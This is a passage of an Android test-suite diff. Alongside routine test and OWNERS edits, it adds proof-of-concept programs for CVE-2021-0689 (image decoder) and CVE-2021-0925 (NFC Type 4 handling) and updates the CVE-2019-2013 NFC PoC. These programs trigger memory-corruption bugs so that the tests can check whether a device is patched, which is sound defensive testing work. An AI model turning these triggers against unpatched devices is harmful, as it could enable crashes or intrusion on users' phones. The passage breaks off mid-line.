add(mSomePublicLibraries); @@ -549,6 +564,7 @@ public class UsesNativeLibraryTestCase extends BaseHostJUnit4Test { runInstalledTestApp(); } + @CddTest(requirement="3.6/C-1-1,C-1-2") @Test public void testNewAppOptionallyDependsOnSomePublicLibraries() throws Exception { // select the first half of the public lib diff --git a/hostsidetests/library/src_target/com/android/test/usesnativesharedlibrary/LoadTest.java b/hostsidetests/library/src_target/com/android/test/usesnativesharedlibrary/LoadTest.java index c4af7784d2d..17cbfd3e376 100644 --- a/hostsidetests/library/src_target/com/android/test/usesnativesharedlibrary/LoadTest.java +++ b/hostsidetests/library/src_target/com/android/test/usesnativesharedlibrary/LoadTest.java @@ -21,6 +21,7 @@ import static org.junit.Assert.assertThat; import static org.hamcrest.core.Is.is; import android.os.Build; +import com.android.compatibility.common.util.CddTest; import com.android.compatibility.common.util.PropertyUtil; import androidx.test.core.app.ApplicationProvider; @@ -84,6 +85,7 @@ public class LoadTest { /** * Tests if libs listed in available.txt are all loadable */ + @CddTest(requirement="3.6/C-1-1,C-1-2") @Test public void testAvailableLibrariesAreLoaded() { List<String> unexpected = new ArrayList<>(); @@ -111,6 +113,7 @@ public class LoadTest { /** * Tests if libs listed in unavailable.txt are all non-loadable */ + @CddTest(requirement="3.6/C-1-1,C-1-2") @Test public void testUnavailableLibrariesAreNotLoaded() { List<String> loadedLibs = new ArrayList<>(); diff --git a/hostsidetests/media/OWNERS b/hostsidetests/media/OWNERS index 8a0e441590b..e72446f5035 100644 --- a/hostsidetests/media/OWNERS +++ b/hostsidetests/media/OWNERS @@ -1,13 +1,11 @@ # Bug component: 1344 elaurent@google.com lajos@google.com -marcone@google.com sungsoo@google.com jaewan@google.com -# LON -olly@google.com -andrewlewis@google.com +# go/android-fwk-media-solutions for info on areas of ownership. +include platform/frameworks/av:/media/janitors/media_solutions_OWNERS # Media TV nchalko@google.com diff --git a/hostsidetests/mediaparser/OWNERS b/hostsidetests/mediaparser/OWNERS index 51256bfc6a7..b91d177f4ac 100644 --- a/hostsidetests/mediaparser/OWNERS +++ b/hostsidetests/mediaparser/OWNERS @@ -1,5 +1,3 @@ # Bug component: 817235 -aquilescanta@google.com -andrewlewis@google.com -essick@google.com -marcone@google.com +# go/android-fwk-media-solutions for info on areas of ownership. +include platform/frameworks/av:/media/janitors/media_solutions_OWNERS diff --git a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java index de235969262..99f7e5b0581 100644 --- a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java +++ b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java @@ -43,6 +43,9 @@ import androidx.test.uiautomator.BySelector; import androidx.test.uiautomator.Direction; import androidx.test.uiautomator.UiDevice; import androidx.test.uiautomator.UiObject2; +import androidx.test.uiautomator.UiObjectNotFoundException; +import androidx.test.uiautomator.UiScrollable; +import androidx.test.uiautomator.UiSelector; import androidx.test.uiautomator.Until; import org.junit.After; @@ -60,7 +63,10 @@ public class PreferredActivitiesTest extends BaseDynamicMimeTest { private static final String NAV_BAR_INTERACTION_MODE_RES_NAME = "config_navBarInteractionMode"; private static final int NAV_BAR_INTERACTION_MODE_GESTURAL = 2; - private static final BySelector BUTTON_ALWAYS = By.res("android:id/button_always"); + private static final String BUTTON_ALWAYS_RES_ID = "android:id/button_always"; + private static final BySelector BUTTON_ALWAYS = By.res(BUTTON_ALWAYS_RES_ID); + private static final UiSelector BUTTON_ALWAYS_UI_SELECTOR = + new UiSelector().resourceId(BUTTON_ALWAYS_RES_ID); private static final BySelector RESOLVER_DIALOG = By.res(Pattern.compile(".*:id/contentPanel.*")); private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(60L); @@ -276,6 +282,9 @@ public class PreferredActivitiesTest extends BaseDynamicMimeTest { } private void verifyDialogIsShown(boolean shouldBeShown) { + if (Utils.hasFeature(FEATURE_WEARABLE)) { + scrollToSelectorOnWatch(BUTTON_ALWAYS_UI_SELECTOR); + } UiObject2 buttonAlways = getUiDevice().wait(Until.findObject(BUTTON_ALWAYS), TIMEOUT); if (shouldBeShown) { @@ -298,20 +307,48 @@ public class PreferredActivitiesTest extends BaseDynamicMimeTest { .wait(Until.findObject(RESOLVER_DIALOG), TIMEOUT) .swipe(Direction.UP, 1f); } else { - getUiDevice() - .wait(Until.findObject(BUTTON_ALWAYS), TIMEOUT) - .swipe(Direction.RIGHT, 1f); + scrollToSelectorOnWatch(new UiSelector().text(label)); } - return getUiDevice().findObject(By.text(label)); } private void chooseUseAlways() { + if (Utils.hasFeature(FEATURE_WEARABLE)) { + scrollToSelectorOnWatch(BUTTON_ALWAYS_UI_SELECTOR); + } getUiDevice() .wait(Until.findObject(BUTTON_ALWAYS), TIMEOUT) .click(); } + private void scrollToSelectorOnWatch(UiSelector selector) { + try { + int resId = Resources.getSystem().getIdentifier( + "config_customResolverActivity", "string", "android"); + String customResolverActivity = context().getString(resId); + String customResolverPackageName; + if (customResolverActivity.isEmpty()) { + // If custom resolver is not in use, it'll be using the Android default + customResolverPackageName = "android"; + } else { + customResolverPackageName = customResolverActivity.split("/")[0]; + } + + UiSelector scrollableSelector = + new UiSelector() + .scrollable(true) + .packageName(customResolverPackageName); + UiScrollable scrollable = new UiScrollable(scrollableSelector); + scrollable.waitForExists(TIMEOUT); + if (scrollable.exists()) { + scrollable.scrollToBeginning(Integer.MAX_VALUE); + scrollable.scrollIntoView(selector); + } + } catch (UiObjectNotFoundException ignore) { + throw new AssertionError("Scrollable view was lost."); + } + } + private interface TestStrategy { void prepareMimeGroups(); diff --git a/hostsidetests/security/src/android/security/cts/MetadataEncryptionTest.java b/hostsidetests/security/src/android/security/cts/MetadataEncryptionTest.java index 20afc7daab3..d9da47a76b6 100644 --- a/hostsidetests/security/src/android/security/cts/MetadataEncryptionTest.java +++ b/hostsidetests/security/src/android/security/cts/MetadataEncryptionTest.java @@ -56,6 +56,13 @@ public class MetadataEncryptionTest extends BaseHostJUnit4Test { if (PropertyUtil.getFirstApiLevel(mDevice) <= 29) { return; // Requirement does not apply to devices running Q or earlier } + if (PropertyUtil.propertyEquals(mDevice, "ro.crypto.type", "managed")) { + // Android is running in a virtualized environment and the file + // system is encrypted by the host system. + // Note: All encryption-related CDD requirements still must be met, + // but they can't be tested directly in this case. + return; + } assertTrue("Metadata encryption must be enabled", mDevice.getBooleanProperty("ro.crypto.metadata.enabled", false)); } diff --git a/hostsidetests/securitybulletin/res/cve_2021_0689.png b/hostsidetests/securitybulletin/res/cve_2021_0689.png Binary files differnew file mode 100644 index 00000000000..7c91e48ebdf --- /dev/null +++ b/hostsidetests/securitybulletin/res/cve_2021_0689.png diff --git a/hostsidetests/securitybulletin/res/cve_2021_0921.txt b/hostsidetests/securitybulletin/res/cve_2021_0921.txt new file mode 100644 index 00000000000..6a151af7ec5 --- /dev/null +++ b/hostsidetests/securitybulletin/res/cve_2021_0921.txt @@ -0,0 +1 @@ +This is cve_2021_0921.txt diff --git a/hostsidetests/securitybulletin/res/cve_2021_0925 b/hostsidetests/securitybulletin/res/cve_2021_0925 Binary files differnew file mode 100644 index 00000000000..be9690ca0d0 --- /dev/null +++ b/hostsidetests/securitybulletin/res/cve_2021_0925 diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2013/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2013/poc.cpp index 23098acdf43..9f41b935b71 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2013/poc.cpp +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2013/poc.cpp @@ -17,6 +17,7 @@ #include <nfc_int.h> #include <rw_int.h> #include <dlfcn.h> +#include <unistd.h> #include "../includes/common.h" #include "../includes/memutils.h" @@ -24,6 +25,24 @@ #define T3T_MSG_FELICALITE_MC_OFFSET 0x01 char enable_selective_overload = ENABLE_NONE; +char *vulnPtr = nullptr; + +bool testInProgress = false; +struct sigaction new_action, old_action; +void sigsegv_handler(int signum, siginfo_t *info, void* context) { + if (testInProgress && info->si_signo == SIGSEGV) { + size_t pageSize = getpagesize(); + if (pageSize) { + char *vulnPtrGuardPage = (char *) ((size_t) vulnPtr & PAGE_MASK) + pageSize; + char *faultPage = (char *) ((size_t) info->si_addr & PAGE_MASK); + if (faultPage == vulnPtrGuardPage) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + } + } + _exit(EXIT_FAILURE); +} extern tRW_CB rw_cb; extern tNFC_CB nfc_cb; @@ -57,7 +76,7 @@ void GKI_freebuf(void* ptr) { } void *allocate_memory(size_t size) { - void *ptr = malloc(size); + void *ptr = memalign(16, size); memset(ptr, 0x0, size); kAllocatedPointers[++allocatedPointersIndex] = ptr; return ptr; @@ -109,13 +128,15 @@ enum { block-write to complete */ }; -void cback(uint8_t c __attribute__((unused)), - tRW_DATA* d __attribute__((unused))) { +void cback(tRW_EVENT event __attribute__((unused)), + tRW_DATA* p_data __attribute__((unused))) { } int main() { - - enable_selective_overload = ENABLE_ALL; + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigsegv_handler; + sigaction(SIGSEGV, &new_action, &old_action); tRW_T3T_CB* p_t3t = &rw_cb.tcb.t3t; GKI_init(); @@ -123,6 +144,7 @@ int main() { uint8_t peer_nfcid2[NCI_RF_F_UID_LEN]; uint8_t mrti_check = 1, mrti_update = 1; + enable_selective_overload = ENABLE_MEMALIGN_CHECK; if (rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) != NFC_STATUS_OK) { return EXIT_FAILURE; } @@ -132,10 +154,12 @@ int main() { return EXIT_FAILURE; } p_data->data.p_data = (NFC_HDR *) allocate_memory(sizeof(NFC_HDR) * 4); + enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK; if (!(p_data->data.p_data)) { free(p_data); return EXIT_FAILURE; } + vulnPtr = (char *)p_data->data.p_data; p_data->status = NFC_STATUS_OK; p_t3t->cur_cmd = RW_T3T_CMD_SET_READ_ONLY_HARD; @@ -158,11 +182,12 @@ int main() { nfc_cb.quick_timer_queue.p_first = &pFirst; rw_cb.p_cback = &cback; + testInProgress = true; p_cb->p_cback(0, event, p_data); + testInProgress = false; free(p_data->data.p_data); free(p_data); - enable_selective_overload = ENABLE_NONE; return EXIT_SUCCESS; } diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0689/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0689/Android.bp new file mode 100644 index 00000000000..8a3e8d0f2ac --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0689/Android.bp @@ -0,0 +1,34 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +cc_test { + name: "CVE-2021-0689", + defaults: ["cts_hostsidetests_securitybulletin_defaults"], + srcs: [ + "poc.cpp", + ":cts_hostsidetests_securitybulletin_memutils", + ], + shared_libs: [ + "libbinder", + "libjnigraphics", + "libutils", + "libui", + ], + cflags: [ + "-DCHECK_OVERFLOW", + ], +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0689/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0689/poc.cpp new file mode 100644 index 00000000000..887368e2f52 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0689/poc.cpp @@ -0,0 +1,70 @@ +/** + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +// This PoC is written taking reference from frameworks/base/native/graphics/jni/imagedecoder.cpp + +#include <android/imagedecoder.h> +#include <binder/IPCThreadState.h> +#include <vector> +#include "../includes/common.h" + +constexpr int32_t kMaxDimension = 5000; + +struct DecoderDeleter { + void operator()(AImageDecoder *decoder) const { AImageDecoder_delete(decoder); } +}; + +using DecoderPointer = std::unique_ptr<AImageDecoder, DecoderDeleter>; + +DecoderPointer makeDecoder(const uint8_t *data, size_t size) { + AImageDecoder *decoder = nullptr; + int result = AImageDecoder_createFromBuffer(data, size, &decoder); + if (result != ANDROID_IMAGE_DECODER_SUCCESS) { + return nullptr; + } + return DecoderPointer(decoder); +} + +int main(int argc, char **argv) { + FAIL_CHECK(argc >= 2); + android::ProcessState::self()->startThreadPool(); + char *filename = argv[1]; + FILE *file = fopen(filename, "r"); + FAIL_CHECK(file); + fseek(file, 0, SEEK_END); + size_t size = ftell(file); + fseek(file, 0, SEEK_SET); + std::vector<uint8_t> buffer(size); + fread((void *)buffer.data(), 1, size, file); + fclose(file); + DecoderPointer decoder = makeDecoder(buffer.data(), size); + FAIL_CHECK(decoder); + const AImageDecoderHeaderInfo *info = AImageDecoder_getHeaderInfo(decoder.get()); + int32_t width = AImageDecoderHeaderInfo_getWidth(info); + int32_t height = AImageDecoderHeaderInfo_getHeight(info); + FAIL_CHECK(width <= kMaxDimension && height <= kMaxDimension); + size_t stride = AImageDecoder_getMinimumStride(decoder.get()); + size_t pixelSize = height * stride; + std::vector<uint8_t> pixels(pixelSize); + time_t test_started = start_timer(); + while (timer_active(test_started)) { + int32_t result = AImageDecoder_decodeImage(decoder.get(), pixels.data(), stride, pixelSize); + if (result != ANDROID_IMAGE_DECODER_SUCCESS) { + break; + } + } + return EXIT_SUCCESS; +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/Android.bp new file mode 100644 index 00000000000..eea87e76748 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/Android.bp @@ -0,0 +1,48 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +cc_test { + name: "CVE-2021-0925", + defaults: ["cts_hostsidetests_securitybulletin_defaults"], + srcs: [ + "poc.cpp", + "stubs.cpp", + "t4t.cpp", + ":cts_hostsidetests_securitybulletin_memutils", + ], + compile_multilib: "64", + include_dirs: [ + "system/nfc/src/fuzzers/rw/", + "system/nfc/src/include", + "system/nfc/src/gki/ulinux", + "system/nfc/src/gki/common", + "system/nfc/src/nfc/include", + "system/nfc/src/fuzzers/inc", + ], + shared_libs: [ + "libnfc-nci", + "libchrome", + ], + cflags: [ + "-DCHECK_OVERFLOW", + "-DENABLE_SELECTIVE_OVERLOADING", + ], +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/poc.cpp new file mode 100644 index 00000000000..085f6e83d4a --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/poc.cpp @@ -0,0 +1,102 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +/* Following files are taken as reference to come up with this PoC */ +/* 1. 'system/nfc/src/fuzzers/fuzz_utils.cc' */ +/* 2. 'system/nfc/src/fuzzers/rw/main.cc' */ + +#include <vector> +#include "../includes/common.h" +#include "fuzz.h" +#include "fuzz_cmn.h" +extern void Type4_Fuzz(uint8_t SubType, const std::vector<bytes_t> &Packets); + +FILE *file = nullptr; +char *vulnPtr = nullptr; +bool testInProgress = false; + +struct sigaction new_action, old_action; +void sigsegv_handler(int signum, siginfo_t *info, void *context) { + if (testInProgress && info->si_signo == SIGSEGV) { + size_t pageSize = getpagesize(); + if (pageSize) { + char *vulnPtrGuardPage = (char *)((size_t)vulnPtr & PAGE_MASK) + pageSize; + char *faultPage = (char *)((size_t)info->si_addr & PAGE_MASK); + if (faultPage == vulnPtrGuardPage) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + } + } + _exit(EXIT_FAILURE); +} + +void exit_Handler(void) { + if (file) { + fclose(file); + } +} + +static std::vector<bytes_t> UnpackPackets(const uint8_t *Data, size_t Size) { + std::vector<bytes_t> result; + while (Size > 0) { + auto s = *Data++; + Size--; + + if (s > Size) { + s = Size; + } + + if (s > 0) { + result.push_back(bytes_t(Data, Data + s)); + } + + Size -= s; + Data += s; + } + + return result; +} + +int main(int argc, char **argv) { + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigsegv_handler; + sigaction(SIGSEGV, &new_action, &old_action); + FAIL_CHECK(argc > 1); + + file = fopen(argv[1], "r"); + FAIL_CHECK(file); + + fseek(file, 0, SEEK_END); + size_t size = ftell(file); + fseek(file, 0, SEEK_SET); + + std::vector<uint8_t> bufVector(size); + FAIL_CHECK(bufVector.data()); + FAIL_CHECK(fread(bufVector.data(), 1, size, file) == size); + + const uint8_t *data = (const uint8_t *)bufVector.data(); + auto Packets = UnpackPackets(data, size); + FAIL_CHECK(Packets.size() > 1); + + auto &ctrl = Packets[0]; + FAIL_CHECK(ctrl.size() > 1); + + Type4_Fuzz(ctrl[1], Packets); + + return EXIT_SUCCESS; +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/stubs.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/stubs.cpp new file mode 100644 index 00000000000..d8072329371 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/stubs.cpp @@ -0,0 +1,144 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +/* 'system/nfc/src/fuzzers/ce/stubs.cc' is used as reference to come up with file */ + +#include "fuzz_cmn.h" + +// These are the functions implemented elsewhere in the NFC code. Our fuzzing +// doesn't need them. To avoid pulling into more source code we simply stub +// them out. + +tNFA_PROPRIETARY_CFG nfa_proprietary_cfg = { + 0x80, /* NCI_PROTOCOL_18092_ACTIVE */ + 0x81, /* NCI_PROTOCOL_B_PRIME */ + 0x82, /* NCI_PROTOCOL_DUAL */ + 0x83, /* NCI_PROTOCOL_15693 */ + 0x8A, /* NCI_PROTOCOL_KOVIO */ + 0xFF, /* NCI_PROTOCOL_MIFARE */ + 0x77, /* NCI_DISCOVERY_TYPE_POLL_KOVIO */ + 0x74, /* NCI_DISCOVERY_TYPE_POLL_B_PRIME */ + 0xF4, /* NCI_DISCOVERY_TYPE_LISTEN_B_PRIME */ +}; + +tNFA_PROPRIETARY_CFG* p_nfa_proprietary_cfg = (tNFA_PROPRIETARY_CFG*)&nfa_proprietary_cfg; + +void nfc_start_quick_timer(TIMER_LIST_ENT*, uint16_t, uint32_t) {} +void nfc_stop_timer(TIMER_LIST_ENT*) {} +void nfc_stop_quick_timer(TIMER_LIST_ENT*) {} +uint8_t NFC_GetNCIVersion() { + return NCI_VERSION_2_0; +} + +tNFC_STATUS NFC_SendData(uint8_t conn_id, NFC_HDR* p_data) { + uint8_t* p = (uint8_t*)(p_data + 1) + p_data->offset; + uint8_t len = (uint8_t)p_data->len; + + FUZZLOG("conn_id=%d, data=%s", conn_id, BytesToHex(p, len).c_str()); + GKI_freebuf(p_data); + return NFC_STATUS_OK; +} + +uint8_t nci_snd_t3t_polling(uint16_t system_code, uint8_t rc, uint8_t tsn) { + FUZZLOG("sc=%04X, rc=%02X, tsn=%02X", system_code, rc, tsn); + return NFC_STATUS_OK; +} + +tNFC_CONN_CBACK* rf_cback = nullptr; +void NFC_SetStaticRfCback(tNFC_CONN_CBACK* p_cback) { + rf_cback = p_cback; +} + +tNFC_STATUS NFC_ISODEPNakPresCheck() { + return NFC_STATUS_OK; +} + +std::string NFC_GetStatusName(tNFC_STATUS status) { + switch (status) { + case NFC_STATUS_OK: + return "OK"; + case NFC_STATUS_REJECTED: + return "REJECTED"; + case NFC_STATUS_MSG_CORRUPTED: + return "CORRUPTED"; + case NFC_STATUS_BUFFER_FULL: + return "BUFFER_FULL"; + case NFC_STATUS_FAILED: + return "FAILED"; + case NFC_STATUS_NOT_INITIALIZED: + return "NOT_INITIALIZED"; + case NFC_STATUS_SYNTAX_ERROR: + return "SYNTAX_ERROR"; + case NFC_STATUS_SEMANTIC_ERROR: + return "SEMANTIC_ERROR"; + case NFC_STATUS_UNKNOWN_GID: + return "UNKNOWN_GID"; + case NFC_STATUS_UNKNOWN_OID: + return "UNKNOWN_OID"; + case NFC_STATUS_INVALID_PARAM: + return "INVALID_PARAM"; + case NFC_STATUS_MSG_SIZE_TOO_BIG: + return "MSG_SIZE_TOO_BIG"; + case NFC_STATUS_ALREADY_STARTED: + return "ALREADY_STARTED"; + case NFC_STATUS_ACTIVATION_FAILED: + return "ACTIVATION_FAILED"; + case NFC_STATUS_TEAR_DOWN: + return "TEAR_DOWN"; + case NFC_STATUS_RF_TRANSMISSION_ERR: + return "RF_TRANSMISSION_ERR"; + case NFC_STATUS_RF_PROTOCOL_ERR: + return "RF_PROTOCOL_ERR"; + case NFC_STATUS_TIMEOUT: + return "TIMEOUT"; + case NFC_STATUS_EE_INTF_ACTIVE_FAIL: + return "EE_INTF_ACTIVE_FAIL"; + case NFC_STATUS_EE_TRANSMISSION_ERR: + return "EE_TRANSMISSION_ERR"; + case NFC_STATUS_EE_PROTOCOL_ERR: + return "EE_PROTOCOL_ERR"; + case NFC_STATUS_EE_TIMEOUT: + return "EE_TIMEOUT"; + case NFC_STATUS_CMD_STARTED: + return "CMD_STARTED"; + case NFC_STATUS_HW_TIMEOUT: + return "HW_TIMEOUT"; + case NFC_STATUS_CONTINUE: + return "CONTINUE"; + case NFC_STATUS_REFUSED: + return "REFUSED"; + case NFC_STATUS_BAD_RESP: + return "BAD_RESP"; + case NFC_STATUS_CMD_NOT_CMPLTD: + return "CMD_CMPLTD"; + case NFC_STATUS_NO_BUFFERS: + return "NO_BUFFERS"; + case NFC_STATUS_WRONG_PROTOCOL: + return "WRONG_PROTOCOL"; + case NFC_STATUS_BUSY: + return "BUSY"; + case NFC_STATUS_LINK_LOSS: + return "LINK_LOSS"; + case NFC_STATUS_BAD_LENGTH: + return "BAD_LENGTH"; + case NFC_STATUS_BAD_HANDLE: + return "BAD_HANDLE"; + case NFC_STATUS_CONGESTED: + return "CONGESTED"; + default: + return "UNKNOWN"; + } +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/t4t.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/t4t.cpp new file mode 100644 index 00000000000..5746a9dea8f --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/t4t.cpp @@ -0,0 +1,207 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +/* 'system/nfc/src/fuzzers/rw/t4t.cc' is used as reference to come up with file */ + +#include "fuzz.h" + +#include "../includes/memutils.h" +char enable_selective_overload = ENABLE_NONE; +extern bool testInProgress; +extern char* vulnPtr; + +#define MODULE_NAME "Type4 Read/Write" + +enum { + SUB_TYPE_DETECT_NDEF, + SUB_TYPE_READ_NDEF, + SUB_TYPE_UPDATE_NDEF, + SUB_TYPE_PRESENCE_CHECK, + SUB_TYPE_SET_READ_ONLY, + SUB_TYPE_FORMAT_NDEF, + + SUB_TYPE_MAX +}; + +static void rw_cback(tRW_EVENT event, tRW_DATA* p_rw_data) { + FUZZLOG(MODULE_NAME ": rw_cback: event=0x%02x, p_rw_data=%p", event, p_rw_data); + + if (event == RW_T4T_RAW_FRAME_EVT) { + if (p_rw_data->raw_frame.p_data) { + GKI_freebuf(p_rw_data->raw_frame.p_data); + p_rw_data->raw_frame.p_data = nullptr; + } + } else if (event == RW_T4T_NDEF_READ_EVT || event == RW_T4T_NDEF_READ_CPLT_EVT) { + if (p_rw_data->data.p_data) { + GKI_freebuf(p_rw_data->data.p_data); + p_rw_data->data.p_data = nullptr; + } + } +} + +#define TEST_NFCID_VALUE \ + { 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88 } + +static bool Init(Fuzz_Context& /*ctx*/) { + tNFC_ACTIVATE_DEVT activate_params = {.protocol = NFC_PROTOCOL_ISO_DEP, + .rf_tech_param = { + .mode = NFC_DISCOVERY_TYPE_POLL_A, + }}; + + rw_init(); + if (NFC_STATUS_OK != RW_SetActivatedTagType(&activate_params, rw_cback)) { + FUZZLOG(MODULE_NAME ": RW_SetActivatedTagType failed"); + return false; + } + + return true; +} + +static bool Init_PresenceCheck(Fuzz_Context& /*ctx*/) { + return NFC_STATUS_OK == RW_T4tPresenceCheck(1); +} + +static bool Init_DetectNDef(Fuzz_Context& /*ctx*/) { + return NFC_STATUS_OK == RW_T4tDetectNDef(); +} + +static bool Init_ReadNDef(Fuzz_Context& /*ctx*/) { + return NFC_STATUS_OK == RW_T4tReadNDef(); +} + +static bool Init_UpdateNDef(Fuzz_Context& ctx) { + const uint8_t data[] = {0x01, 0x02, 0x03, 0x04, 0x01, 0x02, 0x03, 0x04, + 0x01, 0x02, 0x03, 0x04, 0x01, 0x02, 0x03, 0x04}; + + auto scratch = ctx.GetBuffer(sizeof(data), data); + return NFC_STATUS_OK == RW_T4tUpdateNDef(sizeof(data), scratch); +} + +static bool Init_FormatNDef(Fuzz_Context& /*ctx*/) { + return NFC_STATUS_OK == RW_T4tFormatNDef(); +} + +static bool Init_SetNDefReadOnly(Fuzz_Context& /*ctx*/) { + return NFC_STATUS_OK == RW_T4tSetNDefReadOnly(); +} + +static bool Fuzz_Init(Fuzz_Context& ctx) { + if (!Init(ctx)) { + FUZZLOG(MODULE_NAME ": initialization failed"); + return false; + } + + bool result = false; + switch (ctx.SubType) { + case SUB_TYPE_DETECT_NDEF: + result = Init_DetectNDef(ctx); + break; + case SUB_TYPE_UPDATE_NDEF: + result = Init_UpdateNDef(ctx); + break; + case SUB_TYPE_PRESENCE_CHECK: + result = Init_PresenceCheck(ctx); + break; + case SUB_TYPE_READ_NDEF: + result = Init_ReadNDef(ctx); + break; + case SUB_TYPE_FORMAT_NDEF: + result = Init_FormatNDef(ctx); + break; + case SUB_TYPE_SET_READ_ONLY: + result = Init_SetNDefReadOnly(ctx); + break; + default: + FUZZLOG(MODULE_NAME ": Unknown command %d", ctx.SubType); + result = false; + break; + } + + if (!result) { + FUZZLOG(MODULE_NAME ": Initializing command %02X failed", ctx.SubType); + } + + return result; +} + +static void Fuzz_Deinit(Fuzz_Context& /*ctx*/) { + if (rf_cback) { + tNFC_CONN conn = {.deactivate = {.status = NFC_STATUS_OK, + .type = NFC_DEACTIVATE_TYPE_IDLE, + .is_ntf = true, + .reason = NFC_DEACTIVATE_REASON_DH_REQ_FAILED}}; + + rf_cback(NFC_RF_CONN_ID, NFC_DEACTIVATE_CEVT, &conn); + } +} + +static void Fuzz_Run(Fuzz_Context& ctx) { + for (auto it = ctx.Data.cbegin() + 1; it != ctx.Data.cend(); ++it) { + NFC_HDR* p_msg; + + /* CVE-2021-0925 starts */ + enable_selective_overload = ENABLE_ALL; + /* CVE-2021-0925 ends */ + + p_msg = (NFC_HDR*)GKI_getbuf(sizeof(NFC_HDR) + it->size()); + + /* CVE-2021-0925 starts */ + vulnPtr = (char*)p_msg; + enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK; + /* CVE-2021-0925 ends */ + + if (p_msg == nullptr) { + FUZZLOG(MODULE_NAME ": GKI_getbuf returns null, size=%zu", it->size()); + return; + } + + /* Initialize NFC_HDR */ + p_msg->len = it->size(); + p_msg->offset = 0; + + uint8_t* p = (uint8_t*)(p_msg + 1) + p_msg->offset; + memcpy(p, it->data(), it->size()); + + tNFC_CONN conn = {.data = { + .status = 